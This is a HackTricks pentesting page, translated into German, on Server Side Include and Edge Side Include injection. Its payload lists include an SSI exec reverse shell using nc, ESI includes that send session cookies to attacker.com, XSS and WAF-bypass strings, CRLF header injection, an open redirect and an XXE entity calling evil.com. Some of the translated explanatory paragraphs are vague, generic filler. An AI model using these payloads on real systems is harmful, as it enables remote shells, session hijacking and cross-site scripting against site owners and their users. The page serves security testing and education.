Server Side Inclusion/Edge Side Inclusion Injection

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

• Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!

• Holen Sie sich das offizielle PEASS & HackTricks-Merchandise

• Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.

• Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.

Grundlegende Informationen zur Server Side Inclusion

(Einführung aus Apache-Dokumentation)

SSI (Server Side Includes) sind Anweisungen, die in HTML-Seiten platziert werden und auf dem Server ausgewertet werden, während die Seiten bereitgestellt werden. Sie ermöglichen es Ihnen, dynamisch generierten Inhalt zu einer vorhandenen HTML-Seite hinzuzufügen, ohne die gesamte Seite über ein CGI-Programm oder eine andere dynamische Technologie bereitzustellen. Zum Beispiel könnten Sie eine Anweisung in eine vorhandene HTML-Seite einfügen, wie:

<!--#echo var="DATE_LOCAL" -->

Und wenn die Seite bereitgestellt wird, wird dieses Fragment ausgewertet und durch seinen Wert ersetzt:

Dienstag, 15-Jan-2013 19:28:54 EST

Die Entscheidung, wann SSI verwendet werden soll und wann Ihre Seite vollständig von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel von der Seite statisch ist und wie viel bei jedem Aufruf der Seite neu berechnet werden muss. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie z.B. die aktuelle Uhrzeit - wie oben gezeigt. Wenn jedoch der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.

Sie können das Vorhandensein von SSI ableiten, wenn die Webanwendung Dateien mit den Erweiterungen ** .shtml, .shtm oder .stm** verwendet, aber das ist nicht immer der Fall.

Ein typischer SSI-Ausdruck hat das folgende Format:

<!--#directive param="value" -->

Überprüfung

Um zu überprüfen, ob eine Webseite anfällig für Server Side Inclusion (SSI) oder Edge Side Inclusion (ESI) Injection ist, können Sie die folgenden Schritte ausführen:

1. Quellcodeanalyse: Überprüfen Sie den Quellcode der Webseite auf Anzeichen von SSI- oder ESI-Injektion. Suchen Sie nach Funktionen oder Methoden, die externe Inhalte einbinden oder dynamische Inhalte generieren.

2. Parameterüberprüfung: Identifizieren Sie alle Benutzereingaben, die in die Webseite eingefügt werden. Überprüfen Sie, ob diese Eingaben ordnungsgemäß validiert und bereinigt werden, um potenzielle Injektionen zu verhindern.

3. Testen der Injektion: Versuchen Sie, speziell gestaltete Eingaben einzufügen, um zu sehen, ob die Webseite anfällig für SSI- oder ESI-Injektion ist. Verwenden Sie verschiedene Techniken wie Nullbytes, Kommentare oder spezielle Zeichen, um die Injektion zu testen.

4. Beobachten der Ausgabe: Überprüfen Sie die Ausgabe der Webseite, um festzustellen, ob die injizierten Inhalte korrekt gerendert werden. Wenn Sie sehen, dass externe Inhalte oder dynamische Inhalte in die Webseite eingefügt werden, besteht möglicherweise eine Injektionsmöglichkeit.

5. Exploit-Entwicklung: Wenn Sie eine erfolgreiche Injektion gefunden haben, entwickeln Sie einen Exploit, um die Kontrolle über die Webseite zu erlangen oder Informationen zu extrahieren. Verwenden Sie geeignete Techniken wie Remote Code Execution (RCE) oder Directory Traversal, um das gewünschte Ergebnis zu erzielen.

Es ist wichtig zu beachten, dass das Ausnutzen von SSI- oder ESI-Injektionen ohne vorherige Zustimmung des Eigentümers der Webseite illegal ist. Führen Sie diese Überprüfungen nur auf autorisierten Systemen durch und halten Sie sich an die geltenden Gesetze und Vorschriften.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Es gibt ein Problem beim Cachen von Informationen oder dynamischen Anwendungen, da sich der Inhalt beim nächsten Abrufen möglicherweise verändert hat. Hier kommt ESI ins Spiel, um mit ESI-Tags den dynamischen Inhalt zu kennzeichnen, der vor dem Senden der Cache-Version generiert werden muss. Wenn ein Angreifer in der Lage ist, ein ESI-Tag in den Cache-Inhalt einzufügen, kann er beliebigen Inhalt in das Dokument einschleusen, bevor es an die Benutzer gesendet wird.

ESI-Erkennung

Der folgende Header in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:

Surrogate-Control: content="ESI/1.0"

Wenn Sie diesen Header nicht finden können, verwendet der Server möglicherweise trotzdem ESI. Es kann auch ein blinder Ausbeutungsansatz verwendet werden, da eine Anfrage an den Server des Angreifers gesendet werden sollte:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI-Ausnutzung

GoSecure hat eine Tabelle erstellt, um mögliche Angriffe zu verstehen, die wir gegen verschiedene ESI-fähige Software ausprobieren können, abhängig von der unterstützten Funktionalität:

• Includes: Unterstützt die <esi:includes>-Anweisung

• Vars: Unterstützt die <esi:vars>-Anweisung. Nützlich zum Umgehen von XSS-Filtern

• Cookie: Dokument-Cookies sind für den ESI-Engine zugänglich

• Upstream-Header erforderlich: Surrogat-Anwendungen verarbeiten ESI-Anweisungen nur, wenn die Upstream-Anwendung die Header bereitstellt

• Host-Whitelist: In diesem Fall sind ESI-Includes nur von zugelassenen Serverhosts möglich, sodass beispielsweise SSRF nur gegen diese Hosts möglich ist

Software	Includes	Vars	Cookies	Upstream-Header erforderlich	Host-Whitelist
Squid3	Ja	Ja	Ja	Ja	Nein
Varnish Cache	Ja	Nein	Nein	Ja	Ja
Fastly	Ja	Nein	Nein	Nein	Ja
Akamai ESI Test Server (ETS)	Ja	Ja	Ja	Nein	Nein
NodeJS esi	Ja	Ja	Ja	Nein	Nein
NodeJS nodesi	Ja	Nein	Nein	Nein	Optional

XSS

Die folgende ESI-Anweisung lädt eine beliebige Datei in die Antwort des Servers.

<esi:include src=http://attacker.com/xss.html>

Umgehung des XSS-Schutzes auf Clientseite

Eine Möglichkeit, den XSS-Schutz auf Clientseite zu umgehen, besteht darin, spezielle Techniken zu verwenden, um schädlichen Code einzufügen, der normalerweise vom XSS-Filter blockiert würde. Hier sind einige gängige Methoden, um den Client XSS-Schutz zu umgehen:

1. HTML-Entitäten: Durch die Verwendung von HTML-Entitäten können Sie Sonderzeichen in harmlose Zeichen umwandeln, die vom XSS-Filter nicht erkannt werden. Zum Beispiel kann das Zeichen < durch < ersetzt werden.

2. JavaScript Escape-Sequenzen: Durch die Verwendung von JavaScript Escape-Sequenzen können Sie Sonderzeichen in harmlose Zeichen umwandeln. Zum Beispiel kann das Zeichen < durch \x3c ersetzt werden.

3. DOM-basierte XSS: Anstatt schädlichen Code direkt in den HTML-Code einzufügen, können Sie JavaScript verwenden, um den DOM (Document Object Model) zu manipulieren und schädlichen Code einzufügen.

4. Polyglot-Payloads: Polyglot-Payloads sind speziell entwickelte Payloads, die sowohl als JavaScript- als auch als HTML-Code interpretiert werden können. Durch die Verwendung solcher Payloads können Sie den XSS-Filter umgehen.

Es ist wichtig zu beachten, dass das Umgehen des XSS-Schutzes auf Clientseite eine ethisch fragwürdige Handlung ist und nur zu Schulungszwecken oder mit ausdrücklicher Zustimmung des Eigentümers des Systems durchgeführt werden sollte.

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Cookie stehlen

• Ferngesteuertes Stehlen von Cookies

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• Stiehle das HTTP_ONLY-Cookie mit XSS, indem du es in der Antwort reflektierst:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Private lokale Datei

Verwechseln Sie dies nicht mit einer "Lokalen Dateieinbindung":

<esi:include src="secret.txt">

CRLF

CRLF steht für Carriage Return Line Feed und bezieht sich auf die Zeichenfolge "\r\n". Es handelt sich um eine Kombination aus einem Wagenrücklauf (CR) und einem Zeilenumbruch (LF). In einigen Betriebssystemen wird CRLF verwendet, um den Zeilenumbruch in Textdateien zu kennzeichnen.

CRLF-Injektion tritt auf, wenn ein Angreifer die CRLF-Sequenz in eine Anwendung einschleust, um unerwünschte Auswirkungen zu erzielen. Dies kann dazu führen, dass der Angreifer HTTP-Header manipuliert, um beispielsweise Cross-Site Scripting (XSS) oder HTTP Response Splitting-Angriffe durchzuführen.

Ein Beispiel für eine CRLF-Injektion ist das Einfügen von "%0D%0A" in eine URL, um einen Zeilenumbruch in den HTTP-Header einzufügen. Dadurch kann der Angreifer den Header manipulieren und bösartigen Code einschleusen.

Um CRLF-Injektionen zu verhindern, sollten Eingaben validiert und bereinigt werden, bevor sie in HTTP-Header oder andere Ausgabekanäle eingefügt werden. Es ist auch wichtig, sicherzustellen, dass die Anwendung keine unsicheren Zeichenfolgen akzeptiert, die CRLF-Sequenzen enthalten könnten.

Die CRLF-Injektion ist eine weit verbreitete Sicherheitslücke, die von Angreifern ausgenutzt werden kann, um verschiedene Arten von Angriffen durchzuführen. Es ist wichtig, sich dieser Schwachstelle bewusst zu sein und geeignete Maßnahmen zu ergreifen, um sie zu verhindern.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Offene Weiterleitung

Das Folgende fügt einen Location-Header zur Antwort hinzu.

<!--esi $add_header('Location','http://attacker.com') -->

Header hinzufügen

• Fügen Sie einen Header in den erzwungenen Request hinzu

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• Füge einen Header in der Antwort hinzu (nützlich, um "Content-Type: text/json" in einer Antwort mit XSS zu umgehen)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF in Header hinzufügen (CVE-2019-2438)

Eine CRLF-Injektion (Carriage Return Line Feed) tritt auf, wenn ein Angreifer in der Lage ist, Steuerzeichen wie Zeilenumbrüche in HTTP-Headern einzufügen. Dies kann zu verschiedenen Angriffen führen, einschließlich HTTP Response Splitting und Cross-Site Scripting (XSS).

Die CVE-2019-2438 ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, CRLF-Injektionen zu nutzen, um schädlichen Code einzufügen oder HTTP-Header zu manipulieren. Dies kann zu einer Vielzahl von Angriffen führen, einschließlich der Umleitung von Benutzern auf bösartige Websites oder dem Diebstahl von Sitzungscookies.

Um diese Sicherheitslücke zu beheben, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in HTTP-Headern verwendet werden. Es ist auch wichtig, die neuesten Sicherheitsupdates und Patches für die verwendete Software zu installieren, um bekannte Schwachstellen zu beheben.

Es ist ratsam, regelmäßig Sicherheitsaudits durchzuführen, um potenzielle CRLF-Injektionen und andere Sicherheitslücken zu identifizieren und zu beheben. Durch eine proaktive Herangehensweise an die Sicherheit können Entwickler und Unternehmen ihre Systeme vor Angriffen schützen und die Vertraulichkeit und Integrität ihrer Daten gewährleisten.

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai Debug

Dies sendet Debug-Informationen, die in der Antwort enthalten sind:

<esi:debug/>

ESI + XSLT = XXE

Durch die Angabe des xslt-Werts für den dca-Parameter ist es möglich, eXtensible Stylesheet Language Transformations (XSLT) basierte ESI einzuschließen. Die Inklusion führt dazu, dass der HTTP-Surrogat die XML- und XSLT-Dateien abruft, wobei letztere die ersteren filtern. Solche XML-Dateien sind anfällig für XML External Entity (XXE)-Angriffe, die es Angreifern ermöglichen, SSRF-Angriffe auszuführen. Die Nützlichkeit dieses Ansatzes ist jedoch begrenzt, da ESI bereits als SSRF-Vektor dient. Aufgrund des fehlenden Supports in der zugrunde liegenden Xalan-Bibliothek werden externe DTDs nicht verarbeitet, was die Extraktion lokaler Dateien verhindert.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT-Datei:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Überprüfen Sie die XSLT-Seite:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Referenzen

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/

• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

• https://academy.hackthebox.com/module/145/section/1304

• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

Brute-Force-Erkennungsliste

Auto_Wordlists/ssi_esi.txt at main · carlospolop/Auto_WordlistsGitHub

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

• Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!

• Holen Sie sich das offizielle PEASS & HackTricks-Merchandise

• Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.

• Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.